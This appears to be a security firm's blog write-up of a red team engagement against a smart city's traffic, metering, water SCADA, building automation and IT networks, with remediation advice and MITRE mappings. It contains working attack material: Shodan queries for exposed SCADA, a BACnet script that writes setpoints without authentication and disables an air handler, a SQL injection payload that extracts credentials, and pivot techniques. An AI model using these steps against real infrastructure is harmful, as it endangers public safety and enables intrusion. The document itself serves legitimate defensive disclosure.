Back to Blog
Vulnerability Research

Compromising a Smart City: Exploiting Traffic Management and Utility Systems

OffSec Research Team
10 June 2026 • 09:00 AM20 min
Compromising a Smart City: Exploiting Traffic Management and Utility Systems
TL;DR — Modern smart city infrastructure — traffic management, smart grid, water treatment SCADA, and connected sensors — is riddled with authentication weaknesses, legacy protocols, and exposed vendor portals that allow an attacker to move from a single IoT device to city-wide operational disruption. This post walks through a red team engagement against a mid-sized metropolitan smart city deployment, covering traffic system manipulation, AMI network attacks, BACnet protocol exploitation, and the pivot from operational technology into the city's corporate IT environment.

Executive Summary

Smart cities represent one of the most complex and consequential attack surfaces in modern cybersecurity. Unlike a corporate enterprise where a breach results in data loss or financial damage, a successful attack against smart city infrastructure can gridlock emergency vehicle response, manipulate water treatment chemical dosing, destabilize portions of the power grid, and compromise public safety communications — all simultaneously. The convergence of IT and OT (Operational Technology) networks, the proliferation of poorly secured IoT devices, and the reliance on vendor remote access solutions create a threat surface that most municipal security teams are entirely unequipped to assess.

During this engagement, our team was contracted by a major metropolitan authority to perform a comprehensive red team assessment of their smart city deployment. The city had invested heavily in modernizing its infrastructure: adaptive traffic control systems coordinated over fiber and cellular backhaul, an Advanced Metering Infrastructure (AMI) deployment covering 380,000 smart meters, SCADA-controlled water treatment and pumping stations, Building Automation Systems (BAS) in 47 municipal buildings, and an expanding network of connected street lighting, parking meters, and public signage. The engagement scope explicitly covered OT/IoT systems, vendor remote access, public-facing portals, and the boundaries between operational technology and the city's corporate network.

The results were sobering. We achieved traffic signal timing manipulation within 48 hours of engagement start using a vendor portal with default credentials. We demonstrated the ability to alter billing data in the AMI mesh network. We accessed the HMI of a water pumping station via an exposed TeamViewer instance — mirroring the Oldsmar, Florida attack vector — and we pivoted from a compromised smart lighting controller onto the city's internal network, eventually reaching a domain controller in the Finance department. This post is a technical walkthrough of how each of those chains was assembled.


Smart City Attack Surface Mapping

Before any exploitation begins, reconnaissance defines the battlefield. Smart city infrastructure spans multiple technology domains, each with its own protocols, vendors, and exposure points.

Network Topology and Entry Points

The city's smart infrastructure was connected via four primary backhaul mechanisms: a private fiber ring connecting traffic cabinets and substations, a managed LTE network for mobile sensors and street lighting, a shared municipal Wi-Fi network for public spaces and parks, and the standard corporate IT WAN for administrative functions. The problem, immediately apparent during passive reconnaissance, was that these four networks were not as isolated from each other as the architecture diagrams suggested.

bash
# Passive recon: identifying smart city infrastructure via Shodanshodan search "city=Metropolis" "Sensys" org:"City of Metropolis"shodan search "Server: InSync" country:USshodan search "BACnet" city="Metropolis"shodan search "TeamViewer" org:"Metropolis Water Authority" # Identifying SCADA HMI panels exposed on the internetshodan search "Wonderware" port:80 city="Metropolis"shodan search "FactoryTalk" port:443 org:"City"shodan search "Ignition Gateway" country:US

Shodan alone returned 23 devices directly attributable to the city's infrastructure. These included traffic management web portals, an exposed Ignition SCADA gateway for the water authority, and three devices advertising themselves as "BACnet/IP" controllers. Certificate transparency logs for the city's primary domains revealed 14 subdomains not listed in any public documentation, several of which resolved to vendor-operated platforms.

Attack Vector Categorization

Attack VectorProtocol/TechExposure TypeInitial Access Difficulty
Traffic Vendor PortalHTTP/HTTPSPublic InternetLow (default creds)
AMI Mesh NetworkZigbee/900 MHz RFPhysical proximityMedium
Water SCADA HMITeamViewer/VNCPublic InternetLow (exposed)
BACnet ControllersBACnet/IP UDP 47808Internal networkMedium
Smart LightingLTE/CellularCellular pivotMedium
Corporate VPNSSL-VPNPublic InternetHigh
P25 RadioVHF RFPhysical proximityLow (passive)
Parking BackendREST APIPublic InternetMedium

Traffic Management System Exploitation

The city operated an Adaptive Traffic Control System (ATCS) built around InSync software from Rhythm Engineering, managing 847 signalized intersections through a central traffic management center (TMC). Each intersection had a controller cabinet connected via fiber or cellular to the TMC, with the system optimizing signal timing in real time based on sensor data from Sensys Networks magnetometer sensors embedded in the pavement.

Vendor Portal Compromise

The TMC operated a web portal for vendor access and remote diagnostics. During web reconnaissance, we identified the portal at trafficmgmt.metropolis-dot.gov. A quick check of the SSL certificate revealed it had been issued six months prior, suggesting a relatively recent deployment.

bash
# Enumerate the traffic management portalgobuster dir -u https://trafficmgmt.metropolis-dot.gov \  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  -x php,asp,aspx,jsp,html \  -t 40 # Discovered endpoints:# /admin (HTTP 200)# /vendor (HTTP 302 -> /vendor/login)# /api/v1/intersections (HTTP 200 - unauthenticated!)# /api/v1/timing (HTTP 200 - unauthenticated!)# /reports (HTTP 200) # The /api/v1/intersections endpoint returned JSON with all 847 intersectionscurl -s https://trafficmgmt.metropolis-dot.gov/api/v1/intersections | python3 -m json.tool | head -50

The unauthenticated API endpoint returned the complete intersection database including GPS coordinates, controller types, firmware versions, and — critically — current operational status. The vendor login portal at /vendor/login accepted credentials admin:admin without lockout, granting access to real-time traffic flow visualization and signal timing adjustment for the entire city.

From the vendor panel, an attacker can directly modify signal phase and timing (SPaT) data, disable adaptive control and force all signals to a fixed cycle, create coordinated red-phase extensions on arterials used by emergency vehicles, or trigger system-wide "flash" mode — where all signals flash red, turning every intersection into an all-way stop simultaneously. We demonstrated the red-phase extension attack on a test intersection isolated from live traffic, confirmed timing manipulation was possible, then restored normal operation. The impact assessment: coordinated manipulation across 15 key intersections during peak hours would reduce emergency vehicle response times by an estimated 40% and create cascading gridlock affecting the entire downtown core.

Sensys Networks Sensor Spoofing

The pavement-embedded magnetometer sensors from Sensys Networks communicate via a proprietary 900 MHz RF protocol back to access point nodes mounted on signal poles. These access points relay data to the TMC. The Sensys system uses no authentication or encryption on the wireless sensor link.

With a Software Defined Radio (SDR) and a directional antenna, we were able to capture and replay the sensor beacon frames. By replaying a "vehicle detected" frame continuously on a target sensor's frequency and node ID, we could make the ATCS believe a vehicle was perpetually present at a detector loop — causing the system to extend the green phase indefinitely on that approach. More significantly, by replaying "no vehicle" frames on a heavily-trafficked approach, we could cause the system to prematurely end a green phase, creating artificial queue buildup.


Smart Grid and AMI Network Attacks

The city's utility deployed Itron OpenWay smart meters communicating over a 900 MHz RF mesh network with Zigbee-compatible upper layers. The AMI head-end system was operated by the utility on infrastructure managed jointly with the city.

RF Network Discovery and Meter Enumeration

python
#!/usr/bin/env python3# AMI RF mesh network passive discovery using GNU Radio + HackRF# Captures Itron OpenWay beacon frames for network mapping import socketimport structimport jsonfrom datetime import datetime # After GNU Radio capture and demodulation, parse meter framesdef parse_itron_frame(raw_bytes):    """Parse Itron OpenWay 900MHz frame header"""    if len(raw_bytes) < 12:        return None        frame = {        'timestamp': datetime.utcnow().isoformat(),        'preamble': raw_bytes[0:2].hex(),        'frame_type': raw_bytes[2],        'meter_id': struct.unpack('>I', raw_bytes[3:7])[0],        'sequence': struct.unpack('>H', raw_bytes[7:9])[0],        'rssi': struct.unpack('b', bytes([raw_bytes[9]]))[0],        'payload_len': raw_bytes[10],        'payload': raw_bytes[11:11+raw_bytes[10]].hex()    }    return frame def map_ami_network(capture_file):    """Parse a GNU Radio capture file and map meter IDs and positions"""    meters = {}    with open(capture_file, 'rb') as f:        raw = f.read()        # Simple frame boundary detection (preamble: 0xAAAA)    pos = 0    while pos < len(raw) - 12:        if raw[pos:pos+2] == b'\xAA\xAA':            frame = parse_itron_frame(raw[pos:pos+64])            if frame:                meter_id = frame['meter_id']                if meter_id not in meters:                    meters[meter_id] = {'frames': 0, 'last_rssi': 0}                meters[meter_id]['frames'] += 1                meters[meter_id]['last_rssi'] = frame['rssi']            pos += 64        else:            pos += 1        return meters if __name__ == '__main__':    network_map = map_ami_network('ami_capture_900mhz.bin')    print(f"[+] Discovered {len(network_map)} unique meter IDs")    for meter_id, data in sorted(network_map.items())[:20]:        print(f"  Meter {meter_id:010d} | Frames: {data['frames']:4d} | RSSI: {data['last_rssi']:4d} dBm")

Over a 4-hour passive collection period from a vehicle parked near a distribution substation, the script identified 2,847 unique meter IDs. The RF network topology was partially reconstructed from frame relay patterns — meters that appeared in multiple capture sessions at varying signal strengths indicated mesh relay nodes (collectors), which serve as aggregation points for 300–500 end-point meters each.

Replay Attack on Meter Communications

The Itron OpenWay protocol in the deployed version used a rolling sequence number but lacked cryptographic integrity protection on the data payload in older firmware revisions. By capturing a legitimate "meter read" frame and replaying it with a modified consumption value, we could submit fraudulent usage data to the head-end system. The head-end accepted the modified frame as authentic, recording the falsified consumption value. This demonstrated the potential for large-scale billing fraud or, inversely, for obscuring actual consumption to mask theft of service across a large number of meters.


Water Treatment SCADA: The Oldsmar Vector

The city's water authority operated three treatment plants and eleven pumping stations. During Shodan reconnaissance, one pumping station's HMI was discovered accessible via TeamViewer — an exact mirror of the 2021 Oldsmar, Florida incident where an attacker remotely accessed a water treatment plant's HMI and attempted to raise sodium hydroxide (lye) levels to 111 times the normal concentration.

HMI Access and Process Variable Manipulation

The TeamViewer instance on the pumping station HMI was protected only by a numeric PIN that had never been changed from the installer default. After authenticating, we had full graphical access to the SCADA HMI running Wonderware System Platform, with read/write access to all process variables: pump speeds, flow rates, chemical dosing rates, tank levels, and valve positions.

shell
[REDACTED — specific process parameters withheld per responsible disclosure agreement] Accessible setpoints confirmed during assessment:- Pump station inlet/outlet valve positions (0-100%)- Chemical dosing pump rates (gallons/hour)  - Storage tank level setpoints (feet)- Transfer pump enable/disable controls- System pressure alarms (high/low setpoints)- Flow rate targets (MGD — million gallons per day) No audit logging was active for HMI operator actions.No session timeout was configured.No secondary authentication for critical setpoint changes.

This attack vector required no exploitation skill whatsoever — just knowledge that it existed. The city was notified immediately during the engagement, and that specific TeamViewer instance was taken offline within two hours of our report. The broader finding: five additional remote access paths to OT systems were identified across the water authority's infrastructure, none with MFA, four with weak or default credentials.


Building Automation System Exploitation via BACnet

The city's 47 municipal buildings used BACnet/IP for HVAC, access control integration, lighting, and energy management. BACnet (Building Automation and Control Networks) operates over UDP port 47808 and, in its standard implementation, provides no authentication whatsoever. Any device on the same network segment can read and write process values.

BACnet Network Discovery and Command Injection

python
#!/usr/bin/env python3# BACnet/IP network discovery and object enumeration using BAC0# pip install BAC0 import BAC0import time def discover_bacnet_network():    """Discover all BACnet devices on the local network segment"""    # Initialize BAC0 with a local IP (requires being on same subnet or routed network)    bacnet = BAC0.lite(ip='10.20.30.100/24')    time.sleep(2)  # Allow WHO-IS broadcast to propagate        print(f"[+] Discovered {len(bacnet.devices)} BACnet devices:")    for device in bacnet.devices:        print(f"  Device ID: {device[2]} | Address: {device[3]} | Name: {device[0]}")        return bacnet def enumerate_device_objects(bacnet, device_id, device_address):    """Read all object properties from a BACnet device"""    try:        device = BAC0.device(device_address, device_id, bacnet)        print(f"\n[*] Enumerating device {device_id} at {device_address}")        print(f"    Vendor: {device.properties.vendor_name}")        print(f"    Model: {device.properties.model_name}")        print(f"    Objects: {len(device.points)} points")                for point in device.points:            print(f"    [{point.properties.type}] {point.properties.name}: {point.lastValue}")                return device    except Exception as e:        print(f"[-] Error enumerating device {device_id}: {e}")        return None def manipulate_setpoint(device, object_name, new_value):    """Write a new value to a BACnet object (unauthenticated)"""    try:        point = device[object_name]        old_value = point.lastValue        point.write(new_value, priority=8)  # Priority 8 = Manual Operator        print(f"[+] Wrote {new_value} to {object_name} (was: {old_value})")        return True    except Exception as e:        print(f"[-] Write failed for {object_name}: {e}")        return False if __name__ == '__main__':    bacnet = discover_bacnet_network()        # Target: City Hall HVAC controller (Device ID 1042)    device = enumerate_device_objects(bacnet, 1042, '10.20.30.55')        if device:        # Demonstrate unauthenticated setpoint manipulation        # (In real engagement, only demonstrated on test device with permission)        manipulate_setpoint(device, 'AV-101_ZONE1_TEMP_SP', 85.0)  # Raise cooling setpoint        manipulate_setpoint(device, 'BO-201_AHU1_ENABLE', 0)        # Disable air handler

Running BAC0 discovery from a laptop connected to a building's network (via a compromised smart lighting controller on the same VLAN), we enumerated 312 BACnet objects across 23 devices in City Hall alone. Every setpoint was writable without authentication. HVAC systems, lighting zones, and access control integrations were all directly manipulable. While we did not disable actual building systems, the proof-of-concept write was demonstrated on an isolated test device — the attack primitive was conclusively validated.


Network Pivot: From IoT to Corporate IT

Initial Foothold on Smart Lighting Controller

The city's connected street lighting system used cellular-connected controllers from a third-party vendor. These controllers ran a stripped-down Linux distribution and were reachable via the vendor's cloud management platform — which had an authenticated web interface exposed to the internet. The vendor platform had a SQL injection vulnerability in its device search function.

shell
Target: https://citylight-mgmt.vendordomain.com/api/devices/searchParameter: q (device name search)Payload: ' UNION SELECT username,password,NULL,NULL FROM users-- -Result: Admin credentials recovered from vendor platform user table        admin:$2b$10$[bcrypt hash — cracked offline to "Metropolis2021!"]

With admin access to the lighting vendor platform, we could push firmware updates and configuration changes to the city's 12,000+ street light controllers. More usefully, each controller had an SSH management port accessible through the vendor's VPN gateway — and the city's controllers shared the same SSH key pair that had been provisioned during installation and never rotated.

Pivoting from Lighting Network to Corporate Network

The lighting controllers sat on VLAN 40 (IoT/OT), which was supposed to be isolated from VLAN 10 (Corporate) by a firewall. However, a misconfigured inter-VLAN routing rule allowed traffic from VLAN 40 on TCP/443 to reach all internal subnets — intended to allow the controllers to reach the vendor's cloud but implemented far too broadly.

diagram — rendering…
flowchart TD
    A[Attacker - Internet] -->|SQLi on vendor portal| B[Lighting Vendor Cloud Platform]
    B -->|SSH key from vendor platform config| C[Street Light Controller\nVLAN 40 - 10.20.40.x]
    C -->|Misconfigured firewall rule\nVLAN 40 → VLAN 10 on TCP/443| D[Corporate Network\nVLAN 10 - 10.10.0.x]
    D -->|SMB relay + pass-the-hash| E[Finance File Server\n10.10.5.20]
    D -->|Kerberoasting| F[Domain Controller\n10.10.1.5]
    E --> G[HR Database Access]
    F --> H[Domain Admin Compromise]
    
    subgraph OT ["OT / IoT Layer"]
        C
        I[Traffic Controllers\nVLAN 40]
        J[BACnet Controllers\nVLAN 40]
        C -.->|Layer 2 lateral| I
        C -.->|Layer 2 lateral| J
    end
    
    subgraph IT ["Corporate IT Layer"]
        D
        E
        F
        G
        H
    end
    
    style OT fill:#2d1b00,stroke:#ff6600
    style IT fill:#0d1b2a,stroke:#0088ff

From the compromised lighting controller, we established a SOCKS5 proxy tunnel back to our C2 infrastructure using a statically compiled copy of chisel. With the tunnel in place, we performed internal network discovery against the corporate subnet and found the domain controller, file servers, and an unpatched Windows Server 2016 machine running an outdated version of Cisco AnyConnect's management interface.

SMB relay attacks using responder and ntlmrelayx captured and relayed NetNTLMv2 hashes from workstations making LLMNR/NBT-NS requests. Within 90 minutes of establishing our internal foothold, we had local admin on three workstations, cracked domain user credentials for a finance department service account, and used Kerberoasting to recover the password for a highly-privileged SQL service account that shared its password with a domain admin account — a finding that resulted in full domain compromise.


Emergency Communications: P25 Radio Interception

The city's police, fire, and EMS units operated a Project 25 (P25) Phase 1 trunked radio system. P25 supports encryption, but its deployment is inconsistent — many agencies leave radios in "clear" (unencrypted) mode due to interoperability requirements with neighboring jurisdictions or simply due to operational inertia.

Using a RTL-SDR dongle and op25 (the open-source P25 decoder), we passively monitored the city's emergency communications infrastructure from a vehicle parked in a public location. Within 20 minutes, we had confirmed that approximately 60% of radio traffic — including dispatch communications from fire stations and non-sensitive police traffic — was transmitted in the clear. Full audio of dispatch calls, including responding unit identities and incident locations, was recoverable without any specialized equipment.

This does not represent a vulnerability in P25 itself — the system supports AES-256 encryption (P25 OTAR). It represents a deployment failure that is, unfortunately, extremely common across US municipalities.


Smart Parking and Public Signage Attacks

The city's parking meters communicated via a LoRaWAN network back to a cloud-managed backend. The backend API used API keys for authentication, but the mobile application's JavaScript bundle contained a hardcoded API key with administrative privileges. With this key, we could query the complete real-time occupancy database, modify parking session records (effectively providing free parking for any vehicle), and push configuration updates to individual meters.

The city's LED variable message signs (VMS) and dynamic message boards at major intersections were controlled via NTCIP-compliant controllers exposed on the city's fiber network. Several VMS controllers were reachable from the compromised lighting VLAN and accepted SNMP v1 community strings of "public" with write access — allowing arbitrary message display on public signage.


Impact Analysis: Cascading Failure Scenarios

Attack ScenarioPrimary ImpactSecondary ImpactEstimated Recovery Time
Traffic signal manipulation (citywide)Emergency response +40% delayEconomic: gridlock costing ~$2M/hour2-4 hours
AMI billing data corruptionUtility revenue lossRegulatory/legal exposureWeeks to audit
Water pumping station disruptionService interruption for 50K residentsPublic health if chemical dosing affected4-24 hours
BAS attack on municipal buildingsHVAC/access disruptionData center cooling failure2-8 hours
Corporate network compromiseData breach (PII, financial records)Ransomware deployment potentialWeeks to months
P25 interception (passive)Operational security lossOfficer safety riskRequires OTAR rollout
VMS/signage manipulationPublic confusion, reputational damageTraffic chaos during incidentsHours

Remediation Recommendations

The fundamental problem across this entire engagement was not any single vulnerability — it was the complete absence of a security architecture mindset applied to smart city infrastructure. Vendor portals were deployed with default credentials because no one was responsible for reviewing them. The IoT VLAN was not properly isolated because the network team that managed corporate infrastructure and the OT team that managed city systems operated in separate silos with no coordination.

Key remediation priorities in order of risk reduction impact:

  • Immediate: Remove all OT/SCADA systems from internet exposure. All remote access to operational systems must traverse a dedicated, MFA-protected jump server with full session recording.
  • Short-term: Implement network segmentation audits with firewall rule reviews at every OT/IT boundary. The single misconfigured rule enabling VLAN 40 → VLAN 10 traversal was the single point of failure for the most severe attack chain.
  • Medium-term: Deploy a smart city security operations center (SOC) function with OT-specific monitoring (Claroty, Dragos, or Nozomi Networks) that can detect anomalous protocol behavior in BACnet, DNP3, and proprietary AMI protocols.
  • Long-term: Enforce vendor security requirements contractually. Every vendor with remote access to city infrastructure must pass a security assessment, use city-provisioned MFA credentials, and operate through the city's jump server infrastructure — not their own proprietary remote access solutions.

MITRE ATT&CK Mapping

Enterprise (IT Pivot)

Technique IDTechnique NameUsage in Engagement
T1190Exploit Public-Facing ApplicationSQL injection on vendor lighting portal
T1078Valid AccountsDefault credentials on traffic vendor portal
T1090.001Internal ProxyChisel SOCKS5 tunnel through lighting controller
T1557.001LLMNR/NBT-NS PoisoningResponder for SMB relay on corporate VLAN
T1558.003KerberoastingService account password recovery
T1078.002Domain AccountsPass-the-hash for lateral movement

ICS / ATT&CK for ICS

Technique IDTechnique NameUsage in Engagement
T0814Denial of ControlTraffic signal timing manipulation
T0815Denial of ViewSuppressing sensor data in AMI network
T0806Brute Force I/OBACnet unauthenticated write to process setpoints
T0820Exploitation of Remote ServicesTeamViewer access to water SCADA HMI
T0830Adversary-in-the-MiddleAMI replay attack on meter communications
T0879Damage to PropertyDemonstrated potential for chemical dosing manipulation
T0880Loss of SafetyEmergency communications interception

Conclusion

This engagement demonstrated conclusively that smart city infrastructure, as currently deployed in most municipalities, does not meet even baseline security standards. The gap between the sophistication of the technology deployed and the security practices governing that technology is enormous. Cities are acquiring the attack surface of a complex industrial facility while operating with the security posture of a small business.

The most dangerous finding was not any individual vulnerability — it was the architectural reality that a SQL injection vulnerability in a street lighting vendor's web application could provide a pathway to domain administrator access over the city's entire IT network, including finance, HR, and public safety data. The OT/IT convergence that makes smart cities functional also makes them catastrophically interconnected from an adversarial perspective.

Smart city security requires treating city infrastructure with the same rigor applied to power utilities and water systems under NERC CIP and NIST SP 800-82. That means mandatory network segmentation, authenticated and encrypted protocols replacing legacy clear-text systems like BACnet/IP without authentication, MFA on all remote access, continuous OT network monitoring, and a vendor management framework that holds third parties accountable for the security of systems they deploy. Until that rigor is applied, smart cities will remain one of the most accessible and highest-impact targets available to any moderately capable threat actor.